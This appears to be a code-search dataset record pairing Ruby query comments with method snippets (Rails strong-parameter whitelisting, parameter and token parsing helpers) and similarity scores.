"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def default_action; end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def call\n setup_context\n super\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end"
] | [
"0.6165094",
"0.60450804",
"0.5944413",
"0.5915806",
"0.58885634",
"0.5835225",
"0.5775847",
"0.5700531",
"0.5700531",
"0.56543404",
"0.56209993",
"0.54238355",
"0.5410386",
"0.5410386",
"0.5410386",
"0.5394892",
"0.5377769",
"0.53559244",
"0.5339896",
"0.53388095",
"0.5330087",
"0.5311993",
"0.5297402",
"0.5296789",
"0.52957207",
"0.52596015",
"0.5245442",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5237084",
"0.5235431",
"0.5231888",
"0.5226663",
"0.52220625",
"0.5217086",
"0.52137345",
"0.5208314",
"0.5205469",
"0.5175606",
"0.5174914",
"0.5173361",
"0.51662856",
"0.5161792",
"0.51572216",
"0.5153063",
"0.5152982",
"0.5152632",
"0.51435786",
"0.5139829",
"0.51346594",
"0.511372",
"0.511372",
"0.51136476",
"0.51083213",
"0.5108011",
"0.5091935",
"0.5089297",
"0.5081576",
"0.50807106",
"0.50656676",
"0.50548106",
"0.50537366",
"0.505074",
"0.505074",
"0.5033361",
"0.5025158",
"0.5020441",
"0.5015611",
"0.50142473",
"0.5000281",
"0.50001067",
"0.49989453",
"0.4989465",
"0.4989465",
"0.4985425",
"0.49805096",
"0.49795893",
"0.49783278",
"0.49676263",
"0.49656346",
"0.49579078",
"0.4955427",
"0.49554235",
"0.49536413",
"0.49523768",
"0.49457142",
"0.49433607",
"0.4933641",
"0.49320185",
"0.49265638",
"0.49262375",
"0.49259067",
"0.4922456",
"0.49201223",
"0.49165115",
"0.49158815",
"0.49151883",
"0.49149552",
"0.4914386"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def role_permission_params
params.require(:role_permission).permit(:role_id, :permission_id, :hierarchy_id, :hierarchy_type)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6978086",
"0.6780264",
"0.6742658",
"0.6738813",
"0.67338693",
"0.65908474",
"0.6501793",
"0.6495506",
"0.64796513",
"0.64755446",
"0.6454826",
"0.6437561",
"0.6377127",
"0.63722163",
"0.6364058",
"0.63178706",
"0.62979764",
"0.62968165",
"0.62913024",
"0.6289789",
"0.6289145",
"0.62875307",
"0.6280997",
"0.62420976",
"0.62388235",
"0.6216686",
"0.62122375",
"0.6208949",
"0.619173",
"0.6176307",
"0.6173907",
"0.6170346",
"0.616111",
"0.6150513",
"0.6150023",
"0.61446756",
"0.6120429",
"0.6112975",
"0.6104845",
"0.6102966",
"0.6087884",
"0.6079323",
"0.60699135",
"0.60602236",
"0.60191786",
"0.60170597",
"0.60100305",
"0.6009527",
"0.60052776",
"0.60052776",
"0.600042",
"0.5999317",
"0.59933805",
"0.5991528",
"0.5991221",
"0.5990094",
"0.5979497",
"0.5966058",
"0.5958738",
"0.59579456",
"0.5957759",
"0.5956938",
"0.5951788",
"0.59511644",
"0.59423065",
"0.59373474",
"0.59361076",
"0.59361076",
"0.59331447",
"0.5928005",
"0.5924882",
"0.5924011",
"0.59169155",
"0.5908037",
"0.5907541",
"0.59061426",
"0.59056246",
"0.5897408",
"0.58960444",
"0.58951247",
"0.5893136",
"0.5892312",
"0.5890385",
"0.58853275",
"0.58801144",
"0.58784765",
"0.5872648",
"0.58682626",
"0.5867028",
"0.58661693",
"0.586578",
"0.58643955",
"0.5863193",
"0.58609086",
"0.5859997",
"0.5858935",
"0.5858632",
"0.5853379",
"0.5852741",
"0.584806",
"0.5847703"
] | 0.0 | -1 |
Returns an array of parameter tokens | def extract_params(idx)
params = []
return params if idx[:param_tokens].nil?
e = idx[:param_tokens].each
begin
while (ptok = e.next)
next unless ptok.type == :VARIABLE
params << ptok
nesting = 0
# skip to the next parameter to avoid finding default values of variables
loop do
ptok = e.next
case ptok.type
when :LPAREN, :LBRACK
nesting += 1
when :RPAREN, :RBRACK
nesting -= 1
when :COMMA
break unless nesting.positive?
end
end
end
rescue StopIteration; end # rubocop:disable Lint/SuppressedException
params
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def param_list\n read_next.must_be_identifier!(\"(\")\n if next_token.is_identifier?(\")\")\n ASTList.create\n else\n params\n end.tap do\n read_next.must_be_identifier!(\")\")\n end\n end",
"def param_list\n if @call_seq then\n params = @call_seq.split(\"\\n\").last\n params = params.sub(/.*?\\((.*)\\)/, '\\1')\n params = params.sub(/(\\{|do)\\s*\\|([^|]*)\\|.*/, ',\\2')\n elsif @params then\n params = @params.sub(/\\((.*)\\)/, '\\1')\n\n params << \",#{@block_params}\" if @block_params\n elsif @block_params then\n params = @block_params\n else\n return []\n end\n\n if @block_params then\n # If this method has explicit block parameters, remove any explicit\n # &block\n params = params.sub(/,?\\s*&\\w+/, '')\n else\n params = params.sub(/\\&(\\w+)/, '\\1')\n end\n\n params = params.gsub(/\\s+/, '').split(',').reject(&:empty?)\n\n params.map { |param| param.sub(/=.*/, '') }\n end",
"def parameters_as_array\n @parameters.to_s.split(' ')\n end",
"def java_parameters\n\t\t\tif @args.nil? || @args.size < 1 then\n\t\t\t\treturn []\n\t\t\tend\n\t\t\t\n\t\t\toutput = []\n\t\t\[email protected] do |arg|\n\t\t\t\ttemp = @args.split OPERATOR_REGEX\n\t\t\t\tif !temp.nil? && temp.size > 1 then\n\t\t\t\t\toutput << temp[0]\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\treturn output\n\t\tend",
"def parameter_list\n case @enum.peek.value\n when 'void'\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'void'))\n when 'int'\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'int'))\n @instruction.push(@enum.peek.value)\n match(:identifier)\n parameter_list_tail\n end\n end",
"def parameter_list\n recursive_expression(:expression, :comma)\n end",
"def parameter_names\n @parameters.map { |info| info.name }.join(', ')\n end",
"def tokens\n return @tokens\n end",
"def tokens=(_arg0); end",
"def tokens=(_arg0); end",
"def tokens=(_arg0); end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def parameter_strings\n # element[0].t - first parameter\n # element[1,0,1].t - second parameter\n # element[1,1,1].t - third parameter\n # element[1,2,1].t - fourth parameter\n p = @@parser.parse(@string)\n first = p.elements[0]\n rest = p.elements[1].elements.map { |e| e.elements[1] }\n ([first] + rest).map { |e| e.text_value }\n end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 74 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal356 = nil\n parameter355 = nil\n parameter357 = nil\n\n tree_for_char_literal356 = nil\n stream_COMMA = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token COMMA\" )\n stream_parameter = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule parameter\" )\n begin\n # at line 742:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5248 )\n parameter355 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter355.tree )\n end\n # at line 742:15: ( ',' parameter )*\n while true # decision 91\n alt_91 = 2\n look_91_0 = @input.peek( 1 )\n\n if ( look_91_0 == COMMA )\n alt_91 = 1\n\n end\n case alt_91\n when 1\n # at line 742:18: ',' parameter\n char_literal356 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_parameters_5253 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal356 )\n end\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5256 )\n parameter357 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter357.tree )\n end\n\n else\n break # out of loop for decision 91\n end\n end # loop for decision 91\n # AST Rewrite\n # elements: parameter\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 742:36: -> ( parameter )+\n # at line 742:39: ( parameter )+\n stream_parameter.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_parameter.has_next?\n @adaptor.add_child( root_0, stream_parameter.next_tree )\n\n end\n stream_parameter.reset\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 74 )\n\n end\n \n return return_value\n end",
"def get_tokens\n\t\treturn @tokens\n\tend",
"def vpp_tokens\n return @vpp_tokens\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def tokenize_args(args)\n args\n end",
"def tokens\n @grammar.keys\n end",
"def get_opt_param_names\n oparams = []\n i = 1\n while !params[:oparams_.to_s + \"#{i}\"].nil?\n oparams << params[:oparams_.to_s + \"#{i}\"]\n i += 1\n end\n oparams\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def extract_type_tokens(ptok)\n type_tokens = []\n token = ptok.prev_code_token\n nesting = 0\n while token\n case token.type\n when :LBRACK\n nesting += 1\n when :LPAREN\n nesting += 1\n if nesting.positive?\n # This is the LPAREN at the start of the parameter list\n first_token = token.next_code_token\n last_token = ptok.prev_code_token\n break\n end\n when :RBRACK, :RPAREN\n nesting -= 1\n when :COMMA\n if nesting.zero?\n first_token = token.next_code_token\n last_token = ptok.prev_code_token\n break\n end\n end\n\n token = token.prev_code_token\n end\n type_tokens = tokens[tokens.find_index(first_token)..tokens.find_index(last_token)] if first_token && last_token\n type_tokens\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 8 )\n\n begin\n # at line 501:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_486 )\n parameter\n @state.following.pop\n # at line 501:15: ( ',' parameter )*\n while true # decision 16\n alt_16 = 2\n look_16_0 = @input.peek( 1 )\n\n if ( look_16_0 == T__34 )\n alt_16 = 1\n\n end\n case alt_16\n when 1\n # at line 501:16: ',' parameter\n match( T__34, TOKENS_FOLLOWING_T__34_IN_parameters_489 )\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_491 )\n parameter\n @state.following.pop\n\n else\n break # out of loop for decision 16\n end\n end # loop for decision 16\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 8 )\n\n end\n \n return \n end",
"def param_seq\n params = @params.gsub(/\\s*\\#.*/, '')\n params = params.tr(\"\\n\", \" \").squeeze(\" \")\n params = \"(#{params})\" unless params[0] == ?(\n\n if @block_params then\n # If this method has explicit block parameters, remove any explicit\n # &block\n params.sub!(/,?\\s*&\\w+/, '')\n\n block = @block_params.gsub(/\\s*\\#.*/, '')\n block = block.tr(\"\\n\", \" \").squeeze(\" \")\n if block[0] == ?(\n block.sub!(/^\\(/, '').sub!(/\\)/, '')\n end\n params << \" { |#{block}| ... }\"\n end\n\n params\n end",
"def method_argument_names\n name, usage = current_method_info\n results = usage.split(name.gsub(/_/,'-')).last || \"\"\n return results.split(' ')\n end",
"def tokens\n @tokens ||= []\n end",
"def tokens(force = nil)\n data(force).map(&:token)\n end",
"def build_param_calls_from( atts )\n atts.map do |att|\n case att\n when String, Symbol then \"param :#{att}, '#{att}', nullable: true\"\n when Hash\n att.map do |key,references|\n ( single = (references.last == Parametrization::Config::SINGLETON_FLAG) ) && references.pop # Remove the flag value if it is present.\n if references.empty? then \"param :#{key}, '#{key}', nullable: true, multiple: true\" # This handles explicit empty array literals.\n else [ \"param :#{key}, '#{key}', nullable: true#{ single ? '' : ', multiple: true' } do\", build_param_calls_from( references ), 'end' ]\n end\n end\n end\n end.flatten.join(\"\\n\")\n end",
"def param_list(param)\n if params[param].blank?\n nil\n else\n params[param].split(',')\n end\n end",
"def param_seq\n if @call_seq then\n params = @call_seq.split(\"\\n\").last\n params = params.sub(/[^( ]+/, '')\n params = params.sub(/(\\|[^|]+\\|)\\s*\\.\\.\\.\\s*(end|\\})/, '\\1 \\2')\n elsif @params then\n params = @params.gsub(/\\s*\\#.*/, '')\n params = params.tr_s(\"\\n \", \" \")\n params = \"(#{params})\" unless params[0] == ?(\n else\n params = ''\n end\n\n if @block_params then\n # If this method has explicit block parameters, remove any explicit\n # &block\n params = params.sub(/,?\\s*&\\w+/, '')\n\n block = @block_params.tr_s(\"\\n \", \" \")\n if block[0] == ?(\n block = block.sub(/^\\(/, '').sub(/\\)/, '')\n end\n params << \" { |#{block}| ... }\"\n end\n\n params\n end",
"def compile_parameterlist\n write_tag '<parameterList>'\n until check?(')')\n compile_type\n consume(TokenType::IDENTIFIER) # varName\n break unless check?(',')\n consume(',')\n end\n write_tag '</parameterList>'\n end",
"def parse_params\n params = []\n\n expect(:L_PARANTH)\n\n params = parse_params_list if peek?(:ID)\n\n expect(:R_PARANTH)\n\n params\n end",
"def param_seq\n params = params.gsub(/\\s*\\#.*/, '')\n params = params.tr(\"\\n\", \" \").squeeze(\" \")\n params = \"(#{params})\" unless p[0] == ?(\n\n if block = block_params then # yes, =\n # If this method has explicit block parameters, remove any explicit\n # &block\n params.sub!(/,?\\s*&\\w+/)\n\n block.gsub!(/\\s*\\#.*/, '')\n block = block.tr(\"\\n\", \" \").squeeze(\" \")\n if block[0] == ?(\n block.sub!(/^\\(/, '').sub!(/\\)/, '')\n end\n params << \" { |#{block}| ... }\"\n end\n\n params\n end",
"def parse_parameters; end",
"def parse_arguments\n args_list = []\n\n expect(:L_PARANTH)\n\n args_list = parse_expression_list unless peek?(:R_PARANTH)\n\n expect(:R_PARANTH)\n\n args_list\n end",
"def parameters\n @ast.parameters.map { |p| as_java_type(p.type) }\n end",
"def needed_params\n param_str = String.new(term_class.params)\n res = []\n while param_str.sub! /%([^%\\s]+)%/, '' do\n res << $1\n end\n res.sort\n end",
"def tokenize\n return @value.split(/\\s+/)\n end",
"def tokens\n tok_sequence = []\n until @scanner.eos?\n token = _next_token\n tok_sequence << token unless token.nil?\n end\n\n tok_sequence\n end",
"def args_to_params(sexp)\n result = []\n sexp.each do |arg|\n if arg[0] == :lasgn\n ref = variable(arg[1])\n scope.add_arg ref\n result << ref\n elsif arg[0] == :array\n result << scope.next_temp\n else\n raise \"Bad js_block_arg: #{arg[0]}\"\n end\n end\n\n result\n end",
"def extract_default_value_tokens(ptok)\n value_tokens = []\n token = ptok.next_code_token\n nesting = 0\n while token\n case token.type\n when :LPAREN, :LBRACK\n nesting += 1\n when :RBRACK\n nesting -= 1\n when :RPAREN\n nesting -= 1\n if nesting.negative?\n # This is the RPAREN at the end of the parameters. There wasn't a COMMA\n last_token = token.prev_code_token\n break\n end\n when :EQUALS\n first_token = token.next_code_token\n when :COMMA\n unless nesting.positive?\n last_token = token.prev_code_token\n break\n end\n end\n token = token.next_token\n end\n value_tokens = tokens[tokens.find_index(first_token)..tokens.find_index(last_token)] if first_token && last_token\n value_tokens\n end",
"def getToken\n @tokens\n end",
"def arglists\n if @call_seq then\n @call_seq\n elsif @params then\n \"#{name}#{param_seq}\"\n end\n end",
"def arglists\n if @call_seq then\n @call_seq\n elsif @params then\n \"#{name}#{param_seq}\"\n end\n end",
"def words\n retval = [opcode]\n\n if a_param.needs_word?\n retval << a_param.param_word\n end\n\n if b_param && b_param.needs_word?\n retval << b_param.param_word\n end\n\n return retval\n end",
"def get_arg_list\n return nil if node_type != :call\n\n sons.each do |son|\n if son.node_type == :arglist\n return son.sons.map {|arg| arg.name}.join(', ')\n end\n end\n\n return nil\n end",
"def tokens\n @tokens ||= tokenize_input\n end",
"def tokens(tokens, options = T.unsafe(nil)); end",
"def scan_arguments(*how)\n if how.count == 1\n pattern = how.first\n else\n left_delimiter = how[0] || self.left_delimiter\n right_delimiter = how[1] || self.right_delimiter\n\n return [] unless left_delimiter && right_delimiter\n\n pattern = Regexp.new(Regexp.escape(left_delimiter) + '(.*?)' + Regexp.escape(right_delimiter))\n end\n\n @arguments = @base.scan(pattern).flatten\n end",
